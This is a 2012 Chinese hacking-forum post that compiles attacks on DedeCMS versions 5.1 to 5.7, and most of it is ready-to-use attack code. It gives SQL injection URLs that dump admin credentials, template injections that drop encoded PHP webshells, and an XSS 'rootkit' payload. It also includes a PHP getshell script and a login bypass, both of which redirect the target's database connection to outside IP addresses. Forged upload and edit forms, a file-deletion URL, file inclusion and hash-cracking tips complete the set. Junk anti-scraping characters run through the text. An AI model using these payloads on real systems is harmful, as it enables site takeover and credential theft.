中国网络渗透测试联盟

标题: dedecms漏洞总结 [打印本页]

作者: admin    时间: 2012-10-18 10:42
标题: dedecms漏洞总结
3 o- Q8 |* A1 ~
Dedecms 5.6 rss注入漏洞7 T" e  H* Y- ~9 k
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1) s7 y' X" C$ |9 p% W8 Y" J
; M. Q( Z6 N+ W' B6 e7 i% k
7 R8 F8 X! C/ S# x/ F$ J4 w/ d4 ?6 c

# `" |- b. ]& q, `& T! Y# {/ C
' M( R# w, X4 E* q2 Z0 g
# C! B* f+ t) @! Y$ w: L3 |8 b7 [$ w" O! a+ n

2 G" T2 c: m' x. N4 `  d% o' H' W2 j0 l
DedeCms v5.6 嵌入恶意代码执行漏洞* }: r" j7 E; L( ~, _
注册会员,上传软件:本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}" X# i/ A$ S; t- ~
发表后查看或修改即可执行
8 a$ z% A: ], K: |2 K* sa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
9 X- }) e) K# {! U生成x.php 密码xiao,直接生成一句话。
/ h( S( t3 u) r5 T" t8 f, B8 c& U+ m8 f, s, _2 r5 D

  u* x5 o- o& X' X9 s" y# k
) W; R+ g4 ?- ~: e1 `9 c
. ~8 m. M8 m# E6 x+ }9 h
7 R& i0 Z2 }; B- Z  L2 P' I
2 E$ t" G  s( A! k: E
1 W6 a: G9 ^3 H, G. T4 C+ e3 p0 X
3 E5 S( \$ [2 d# F4 M/ pDede 5.6 GBK SQL注入漏洞2 c, q. ^# ?: `" p1 E
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';# [- T, s: D5 l( D' `- o1 S
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
' F: [. k7 ^& z/ qhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7  u1 ~4 f1 }* t% [

, R' p  O) j/ x. A' g2 E3 Z* R& Z8 O7 T

5 ^9 R% B7 R8 Z2 m: U% [8 T! _' p; v
0 @3 j* w* L) b+ K) P% G
1 E' h5 z1 g! r

+ O1 w- o1 v9 R$ h  k0 Q+ O# b8 j! v1 @0 B
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞, ?3 L( ]5 c, T4 q6 P
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
; h8 F+ k  n  `1 p+ n) m5 Q+ M

- i; ^8 x4 w2 h! G% F: i: B
- _3 V: t" j! ^; Y/ l' ~$ ^8 q* y0 b
4 Z1 f! N& f8 A# e

- C6 V, Z! g# a3 J" l6 l" E1 _DEDECMS 全版本 gotopage变量XSS漏洞! d* u6 d( X* F& H
1.复制粘贴下面的URL访问,触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞,需关闭XSS筛选器。 / e# z( P' P) L9 e- A; d) N8 K
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="# \. E+ z; A/ N& z6 j$ u
8 e9 f9 Y9 h  h; O
, L9 b6 g4 q* B  l
2.关闭浏览器,无论怎么访问下面的任意URL,都会触发我们的XSS。
* r/ U1 B. C* q7 O) `% p
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda7 ]% @+ [: h" [1 c
0 L: }; O/ `6 ~
! @4 n; u+ |3 l! k7 ~
http://v57.demo.dedecms.com/dede/login.php
& w2 w2 f& s+ P+ F- g3 p' a/ x: ^; J( E
6 N( h0 O2 n/ k: b, \7 [+ v
color=Red]DeDeCMS(织梦)变量覆盖getshell$ u8 t7 r- v% h2 f5 {
#!usr/bin/php -w
+ e+ _8 C# y; J+ f4 H1 y% @2 n<?php
8 o' Z/ b  q/ O- `, l; {; Lerror_reporting(E_ERROR);
2 R8 B+ P! i( Y# ?- z( ^6 Fset_time_limit(0);
% s( v$ _( s5 _; x7 F9 u- o1 kprint_r('' Y5 m: c/ T7 ?6 a8 d7 m
DEDEcms Variable Coverage( U4 R% n' J/ t6 K
Exploit Author:
www.heixiaozi.comwww.webvul.com  D! n4 \# u4 D8 O. d3 k
);
% D# v) I0 z# O, E$ cecho "\r\n";
% M4 W" P: t$ Aif($argv[2]==null){, O, g4 [# @' `0 G
print_r('. q8 O4 c" y/ H- e
+---------------------------------------------------------------------------+- ?- N/ ?7 U3 \6 E; z
Usage: php '.$argv[0].' url aid path
+ g9 t9 h) N' x4 A8 Aaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/2 D8 B- j9 H" I+ [- K4 j* y( X
Example:* P; t3 g- {" {* h/ `
php '.$argv[0].'
www.site.com 1 old
0 _  m/ I$ t( b( {, Z- \+---------------------------------------------------------------------------+
9 {1 V. V' w3 b');" d1 c+ o2 l* Z3 t' _7 _2 R
exit;- O; q1 r% B: h( q, c. B3 f. L
}
# [: j7 P# a& H6 [+ L& ^4 P$url=$argv[1];
/ A+ z7 b) M% u* f5 i- c; T$aid=$argv[2];
- `& z! i6 v, H$path=$argv[3];
# V4 Z; i+ j# b+ E$exp=Getshell($url,$aid,$path);
2 K+ M/ H! x2 Y: ~" v# Zif (strpos($exp,"OK")>12){7 m& {9 O. N8 o) M% o
echo "
, r  H7 ~9 R8 ], lExploit Success \n";
0 b0 [: b! x: R8 i* B/ Oif($aid==1)echo "7 V; x7 ~. g0 X  j' P
Shell:".$url."/$path/data/cache/fuck.php\n" ;  {; G( `% ]: H( e7 G2 U+ s( G. }

% g) @' `4 J! p3 l2 i! @7 D& L6 Z8 |0 O- x1 y0 z& u
if($aid==2)echo "4 P6 ?$ x! b2 y9 i
Shell:".$url."/$path/fuck.php\n" ;# T: ^5 e8 C9 L4 t& j3 f

+ ]4 b8 u, Q! c% c! H9 q2 P* U9 B* B. I  w; u7 [
if($aid==3)echo "+ q' H" b; `! S7 k+ Z  F
Shell:".$url."/$path/plus/fuck.php\n";
5 Q' q0 _$ F: f$ ~, J, `
2 f. P7 ?& b" r$ s; Y1 C8 J" s0 z/ l, y3 k4 M: t3 J' z5 _+ a
}else{. g# h- P2 ]$ l+ F, N. P
echo "
. d1 t6 d+ u3 k& ?* h- @Exploit Failed \n";5 k% A* Q. ~. \, Y- k7 h
}
5 y+ L5 @" H. T; y1 [& x. V. w% vfunction Getshell($url,$aid,$path){) v5 [" X' t+ y6 |. _2 S; J8 i5 ]6 G
$id=$aid;
2 }; T7 [0 x8 K. a& ]$host=$url;3 G% c5 z7 y: u
$port="80";
+ d2 W* `; c. B" U# P1 K5 H$ ]$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";8 m7 b6 a1 {( @. ?; c% \
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
1 y/ O6 r# Q% s/ w$data .= "Host: ".$host."\r\n";+ a1 e; b5 \% q7 c9 F+ b4 ~
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
. p( l; W( t5 i) K6 `7 c+ s; b$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";0 p; T" T: k+ [  w3 N6 }
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
1 {) }: V5 t; L4 H. {2 m//$data .= "Accept-Encoding: gzip,deflate\r\n";
4 I: o" d# [# R5 @. F+ x/ i" `$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";& c8 F# q: K- V1 q
$data .= "Connection: keep-alive\r\n";' k* U+ _- P  N+ S$ W  H
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";; g" A/ u5 v) Y9 \! w
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";" a8 x/ X7 i: e: B" v% f
$data .= $content."\r\n";
; h& t; T2 g* _$ock=fsockopen($host,$port);+ h, a, x4 V+ t/ ]
if (!$ock) {: M5 }& K5 r7 _* r
echo "
! I' D: F4 C' {. zNo response from ".$host."\n";1 Q  s" I- K# o9 b& H$ m3 O* P
}$ @* H3 |, B3 n# W  J
fwrite($ock,$data);
" p8 j+ T3 V  x: ~while (!feof($ock)) {
9 }' h# c8 Y6 z$exp=fgets($ock, 1024);
' z3 g- L/ {9 O. K$ t& n* Kreturn $exp;
( M3 G4 \8 V; e. I7 m}1 m; y6 K! W% o6 W1 |
}: q# U1 [* a  o7 A5 z4 O
4 i+ ?, j+ a; S. q
, m* b4 c( _: K0 s: x& N  k
?>
$ E: k5 @2 X5 k2 }! \
9 l" d( E6 R; ^+ I
; h! W1 w2 a( [8 C0 r; g9 P! n+ _; c' w

3 Y6 x1 B: D' q( {1 p8 h" _, _. h
5 G7 ~6 e( _/ b# n" Z

6 |7 T% Z+ C) U% }; T4 d8 I& U$ B6 k4 X2 C& \; \
9 }8 b2 S( J6 c/ n4 c

! B# `* ^: u8 E. _# nDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
) X; y, {& w4 O4 b* s$ `% L
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
* H2 S( \7 Y6 S& y0 h' J& v# ]" k0 m" X
, ?; G. L2 \8 {: [9 Q; Y4 o  R5 u) a8 y1 w/ m" K1 o6 w
把上面validate=dcug改为当前的验证码,即可直接进入网站后台4 b6 l  R, N% u8 j) |: E  V
& ^) h$ V, j+ x% u9 E1 w
/ q1 H& S, _: d1 U
此漏洞的前提是必须得到后台路径才能实现5 t0 e  n" a, E# V' }
& Y; }5 |( V. t- z
: j( O, Q( ]: Y3 h! ?5 y
+ z: p- U4 S/ F5 R( @- S7 }
9 C1 e8 s, u, ?1 y4 z! O! j; ?
7 I4 R4 I4 [/ A  E7 S! z
0 g  T2 Z3 _  K8 P" P

4 Q5 o% A$ ?2 `; u8 y2 U4 R
5 `/ P# P% U7 u1 P7 F0 Q' z+ f/ D, }( _3 v% O5 |) K5 X/ n$ z

5 Y# e; ^% n$ m4 u, {! K: sDedecms织梦 标签远程文件写入漏洞
+ Z1 l4 }2 n# Y2 E- |4 C' z4 B前题条件,必须准备好自己的dede数据库,然后插入数据: insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
! M. o" }0 }; z) d& P5 q7 L, a. F+ N
: J4 E5 I5 R3 F0 k3 v
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。 6 A7 W2 L+ y1 A7 _
<form action="" method="post" name="QuickSearch" id="QuickSearch">
/ g/ x3 Q2 a# ^* K: N- S<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
; m3 i) r! M9 @3 s+ f<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
, a5 m* }6 @8 Z+ r; T( o<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
# K( Q* T. u4 S& M. E<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
# G! B* Z# C8 y( }0 l- E6 a<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />! b8 g! l' L( I2 g
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
( `* Z) p, l: J- j<input type="text" value="true" name="nocache" style="width:400">) H8 N9 P4 s4 X, l( U: e
<input type="submit" value="提交" name="QuickSearchBtn"><br />$ m) S/ Y# |* B( P# V) q; Z
</form>
/ x4 n2 K( X, P  I- m<script>+ p8 z) B3 o# D* t
function addaction()% G/ l' N# j1 D+ x% S
{
) K8 X( h3 b6 ~/ S% {0 r4 A1 }document.QuickSearch.action=document.QuickSearch.doaction.value;
2 N9 R' D" y" k7 H}) p1 p8 r4 x; e
</script>! Y* K2 g  t! v

/ K1 G. N7 v' ?) L' L5 S( t+ m/ g3 _5 @# Z6 w: P( Y

7 ]# W- l% X0 k/ \6 x5 c8 y  n6 y- s- i" b2 B) e$ X% d

9 L  U. P! ^1 G9 H* s# b% e: ~1 D' i4 t6 y2 u# [0 {- K; ?- r+ A

% V8 j+ k4 R0 u+ X: ?' ?2 E% R& ^, ?# J: S6 K7 S& ?9 r
% ^. K' A! t* a

) {0 R: S$ a2 mDedeCms v5.6 嵌入恶意代码执行漏洞
$ ?" m/ F& _7 P4 Y1 S, [; Y注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行4 @8 J; T* c8 Y( o6 _+ L
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
& ]# E. \3 m) n" t* M生成x.php 密码:xiao直接生成一句话。密码xiao 大家懂得* r) C: O6 F6 t. @3 K# a2 t
Dedecms <= V5.6 Final模板执行漏洞
3 f' z) Z! g1 j( q# g; @注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:, h5 _8 E$ Y' y) x3 V  p) s
uploads/userup/2/12OMX04-15A.jpg
0 {# c4 {. [* Q0 q9 @# Z  A3 L% d3 b$ I& P  Z. y

0 C& z6 h/ R9 a" w- w1 U模板内容是(如果限制图片格式,加gif89a):. \7 A7 h: D/ T0 B% n0 S) N3 H
{dede:name runphp='yes'}
0 L. v  k" U4 c7 T+ _( k$fp = @fopen("1.php", 'a');1 T" t' M: u" M8 }- W
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
  O5 t% R" J: _/ T( J@fclose($fp);% o+ z+ k7 J. H$ }8 T
{/dede:name}
7 d4 p2 |$ d! [2 修改刚刚发表的文章,查看源文件,构造一个表单:7 C) t( N7 l- K
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
* C  Q8 `, V' Z0 w/ {+ l, x<input type="hidden" name="dopost" value="save" />9 B, j  ?9 R! S! y
<input type="hidden" name="aid" value="2" />
+ J. l( p9 H" }  U! d, x" w, ?<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />) M2 F4 v. e) J3 U' [4 Z2 }
<input type="hidden" name="channelid" value="1" />
/ p+ E* D4 Y: C# \# T; ?; e6 w6 d. V<input type="hidden" name="oldlitpic" value="" />
( H& r! m2 n/ p# ^$ g( K<input type="hidden" name="sortrank" value="1275972263" />
2 S6 R4 X. r7 {3 m: y: G5 D2 n' D7 C4 P& m! P* H0 r
' k" k- I& l- t' M0 ]. J
<div id="mainCp">
  W2 _/ T; H0 c  w<h3 class="meTitle"><strong>修改文章</strong></h3>
. t, J/ {# |% Q9 U3 A+ x: X) r, m8 d$ Q2 W

" l) \9 I; D+ ^: N" A<div class="postForm">2 U" d8 }, T1 s4 L0 ^
<label>标题:</label>
0 {, y# j& k, f/ f- I7 d<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
: T8 K  s0 G' I" i0 D( }3 k7 m9 y1 B
- m# k# `$ {1 E! _1 m+ B4 b* k4 {+ d7 k2 K$ X+ U9 ?# W
<label>标签TAG:</label>9 A/ K: C0 J( a7 r) `9 D( A9 X7 b; Z
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)0 V( R3 m7 r% u/ W
' A/ |" q& A* E; V/ X4 M

2 R1 Q. H1 f7 {9 X<label>作者:</label>7 o, k; i, y# w" m, A
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>4 l& {9 Y9 r2 J8 v, O
' K/ S; \$ F( B, x8 Z: `  \, A- u
" q  U/ h# t$ T- y! i/ x# T/ m
<label>隶属栏目:</label>) P6 }1 g. r6 W
<select name='typeid' size='1'>
/ A" R( a1 S5 ~5 `$ J2 v% y9 B<option value='1' class='option3' selected=''>测试栏目</option># C) q1 g' E3 V6 q" B
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)' m" d7 P6 T" d1 G' g, q$ e% K3 a6 a
: E& ?$ x0 A" W% J

+ L$ m  t$ H$ ^$ ?, Q/ a" V+ D<label>我的分类:</label>% q& D& \# _2 v3 k  P! t
<select name='mtypesid' size='1'>
' T1 V' j- {. w6 }6 p: U<option value='0' selected>请选择分类...</option>
( |8 W% |- U. W<option value='1' class='option3' selected>hahahha</option>; G: }  h. O/ V- t9 B% y, ^3 i
</select>( w3 M1 ]+ H2 g4 e  K
9 y+ K6 b4 [; ~- {

5 C- s5 B3 T6 V( e$ S<label>信息摘要:</label>
" x( l- u: `7 g9 w$ R<textarea name="description" id="description">1111111</textarea>7 `3 c6 ?* B& @) w% ?& v
(内容的简要说明)3 Y! f; m0 d5 m6 X) x7 Q: @1 P

2 l: K1 o5 ~4 W
6 [& t! j1 v3 k  ~7 y$ k<label>缩略图:</label>
0 H- e0 e0 T0 P7 k- C; n<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
5 y& ?0 V; @  M. e6 d0 f
6 h' k; F+ F% R! ?1 {' {; j4 M0 N$ Y3 ]
<input type='text' name='templet'0 f! r) {. V- U1 W3 }2 ~9 P2 p4 J
value="../ uploads/userup/2/12OMX04-15A.jpg">0 R6 O' ^4 J) x3 g  w1 ^9 z
<input type='text' name='dede_addonfields'& Q- \7 a6 ?' Z8 s5 u
value="templet,htmltext;">(这里构造)' Z% R* D3 t" t" ~& O9 X0 |
</div>
5 ^) o3 j) P# M, w! V; g
" v: o% [: P6 S. s- d; D) Q* [! D" ~3 j8 j  G. d4 t+ _% |
<!-- 表单操作区域 -->/ V/ a% U. `* s: X( ?* ^$ a# q
<h3 class="meTitle">详细内容</h3>
/ [3 S% g; Z( p' p: S3 u/ E- x9 q6 |1 r5 e- J, e& P7 Q
$ }6 @7 A7 A1 f* u& }. h
<div class="contentShow postForm">
7 o2 @/ U7 y8 B% Z) }) t<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>/ h" e+ G9 c' U, w  J/ c
$ t% O- [: c4 Y- j% u& S: Z

9 N: W! e$ V/ z6 o8 [* _<label>验证码:</label>' L) F8 m+ E! B( F
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />$ @/ Y1 l0 ^1 `; W0 L  P2 L
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" />$ ~( k5 M/ E/ d9 ?, N

3 @- F- U+ v, [- A) {) @/ p. q/ z, C% n7 H' f0 C$ ?* ~
<button class="button2" type="submit">提交</button>/ b6 ^- Q9 v+ N* S7 X, h
<button class="button2 ml10" type="reset">重置</button>8 x3 G( j; u0 p% ?" ~) d7 F& s
</div>! q, s; v# \0 v( a

; @( `; P. _( {  Y; d5 r
8 g- T5 Y8 b/ `% Z" Z</div>
/ C) C- x. l5 p3 J" h7 u, n! F. j6 D! H( `- K' T

& }' E: J% C& i) r, j) C5 r7 E/ W( x</form>
  Q! `% x1 m) a4 \- Z2 x* R  N1 s& s3 w  i" R
$ J( T6 n) v& r& y
提交,提示修改成功,则我们已经成功修改模板路径。 3 访问修改的文章:
8 \" g& V" q  D6 {0 ]假设刚刚修改的文章的aid为2,则我们只需要访问:3 J3 j: N0 z1 Z, T
http://127.0.0.1/dede/plus/view.php?aid=20 ~; ^3 g" h7 ~3 |
即可以在plus目录下生成webshell:1.php$ F1 _4 L" m! Y# \1 ^% \0 x
" {. X7 @3 N9 M- ?7 d4 b6 C
) o$ D5 b6 `4 Q- J! z9 L
; q( k# v: ]  u) }9 R. F

, P+ ?8 K  t/ W
; L! E! S6 F  r& o. y& {8 E7 r* R  Z% @7 y" v* @4 L* c& H
! @' z% s( o8 d# ]8 e

" K' o7 l& Z/ H; P- v8 H  m; F  V/ G
3 p! G0 C! n3 I
1 ^1 \. Q$ N. R; z" X0 j- W7 M: X5 x8 H' l. S0 s+ \6 k) t! @9 l
, @2 c3 \- S, X
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
( ^. R, P: K' h* X% qGif89a{dede:field name='toby57' runphp='yes'}
6 y, ^% J) @& d4 X+ U! l' Wphpinfo();+ ~$ F  {' M/ K7 L" b
{/dede:field}) r, k9 C9 n& x" L4 K. n
保存为1.gif
  L" r9 k( p. S( L) [! L  M<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" "> / J/ b8 S5 t7 _7 R! q4 [7 U! e
<input type="hidden" name="aid" value="7" />
* B  G  e6 {/ B7 |9 {4 v<input type="hidden" name="mediatype" value="1" /> 4 |1 ?1 E% ^# L2 n, V& a
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br> " v; B  [8 A; p6 [0 D3 f$ S5 \
<input type="hidden" name="dopost" value="save" />
3 o* z. c& J- q# g  n<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
/ r, o( b- N6 d9 l0 e8 F7 p% @<input name="addonfile" type="file" id="addonfile"/>
4 I1 u/ l' p6 T$ d<button class="button2" type="submit" >更改</button>
* A8 \8 ~! q/ Z, d. ~</form> $ ?5 K' q7 }4 g
0 p/ E: N' Y; C1 q8 |

  ]# A7 B1 d2 j' X) L* r* E3 y" J构造如上表单,上传后图片保存为/uploads/userup/3/1.gif3 a, D! N* |+ z# a- {" `- w
发表文章,然后构造修改表单如下:
3 k0 B/ ]2 T( l/ G4 C& {2 |, C) n
" [% W2 Q. n; [, r. z
. a* S, b1 [9 W" c' n  G<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
! ]( w1 Q' Z) t, ^1 S% x% o<input type="hidden" name="dopost" value="save" />
8 i( }& M/ A/ C2 f1 H( p" s6 d<input type="hidden" name="aid" value="2" />
! ]7 B3 r( w% P% O5 ~  v<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" /> % g( ~7 M: |& z8 N
<input type="hidden" name="channelid" value="1" /> - ?" g6 T* `; W+ ~- ?
<input type="hidden" name="oldlitpic" value="" />
% s2 W0 F4 y9 C: k& A: ^<input type="hidden" name="sortrank" value="1282049150" /> % Y( ^" {8 F3 j% g0 k/ m
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/> % M! ]+ D0 p. v' O6 @# s: @
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/> 3 H: ^, L- e1 O4 z
<select name='typeid' size='1'>
. }6 y0 l( R0 ~$ K0 W7 {<option value='1' class='option3' selected=''>Test</option>
! i, `) a& U) T- o& `. N  o<select name='mtypesid' size='1'>
* J: f5 f' @5 c6 ~, \; g3 m<option value='0' selected>请选择分类...</option>
( }- n% G9 m0 ]# s8 z% j<option value='1' class='option3' selected>aa</option></select>
; A) b4 _) C9 ~<textarea name="description" id="description">aaaaaaaaaaaaa</textarea> % \. W3 \% o# k- i! ?. L5 M
<input type='hidden' name='dede_addonfields' value="templet"> + E. n" s( W. @+ U1 E! s& D8 A2 |
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif"> ' y8 q1 ], ?4 \# I
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" /> 8 {4 o0 |3 a7 C/ o+ a" o0 @
<button class="button2" type="submit">提交</button> . g8 L: m; J2 G0 X5 u2 i
</form>
' k. X) Q+ T5 x! b
9 ~. j6 R% N5 j$ w  W) w' T) h# D2 d" ?' P6 r0 y
" k9 _/ }# W, ?+ i7 k0 y, M$ O
+ j8 q8 P# P) x

6 `+ D# P2 L) y- f
9 b' S3 Z6 W- w  a
, y3 H2 z# e6 i9 s' P; Q+ J4 i& S/ `' u2 _: l
& t* }0 w& s4 ^$ b9 V6 b) q
8 [* u* a: Y% \) P" F

1 R, `% o3 o4 ]2 L! L; S$ y' ~9 ]% f: G4 _6 u5 \: k3 L" l" Y
织梦(Dedecms)V5.6 远程文件删除漏洞
  j9 D( |7 W# |' C7 ], t7 |
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
5 l$ \% j; I1 d* ]* d) f/ C; A% c7 J: [' F1 _

& n& F6 K( ]9 `( o. ]4 l: I* K" T# d; w) k/ `' D/ N

8 i1 J5 R; V, R# M$ b
. `2 |7 s/ }: G6 Y8 \1 b. T6 V; a; d( l3 ?( n$ B, {6 Z

9 H* }: r, c  }2 G8 ~/ [" v  h8 F. e4 P- S. |; N2 U, E( Y
  O( _# C, O& u

8 b+ R$ ~% j8 Y; E+ x织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
: z: ?# S7 U' l) w- ], Q, v6 j
http://www.test.com/plus/carbuya ... urn&code=../../
8 F% u- I; |" H5 d
' r! R4 C- j, H, U" Z1 |; D- u! S( z& \* Y% l) O# y. i
/ o( f" C8 t: h1 p9 }8 {

: T, M& M; G5 j+ K+ X9 D$ L( a3 d: l; h5 t3 c+ V2 ]( @3 W& P/ Q+ z; v
& b& \6 e2 D4 x
- E" n0 F) P7 L

! k" t1 @2 S' B8 K7 A: F4 u. L5 p8 w* y$ S4 ^0 L8 J4 K" E

  \, L# a) w, ]DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
0 P/ ^1 D/ T6 fplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`3 T4 o3 l; @6 b5 `7 q* \1 R
密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5
8 q3 N9 P1 d$ e5 j  P8 n
; c6 ~" l+ }* C! G4 S$ l1 Q6 H$ n7 K( e2 z, j

7 M! v# Q+ j+ L  \& M; k
* ?3 Q# Y/ P" v3 @+ ~" p' k: b5 X
/ \* |( V( K8 {. ^( M/ h; s8 H; s4 ^( x8 d+ [" \

1 L7 I/ W- J' z4 V2 C  D; \+ e
  ]: |1 m8 Z& P0 U4 u* s
$ J2 y1 e# v+ V! T8 N
- G7 G" ^7 ~$ J织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
$ q: W/ p& ?) J# P# o- Thttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='3 q9 ^5 H/ V: p  l

4 E: t% ?$ P) |' |
( E+ ~  A2 z. E( Q. P2 j/ f" h0 N5 t; {5 M" C3 I4 p. ^4 s" [

8 _) m# b% ^0 a7 j! I; a/ Q1 t
4 ]- i! G5 {+ s: T: R9 O
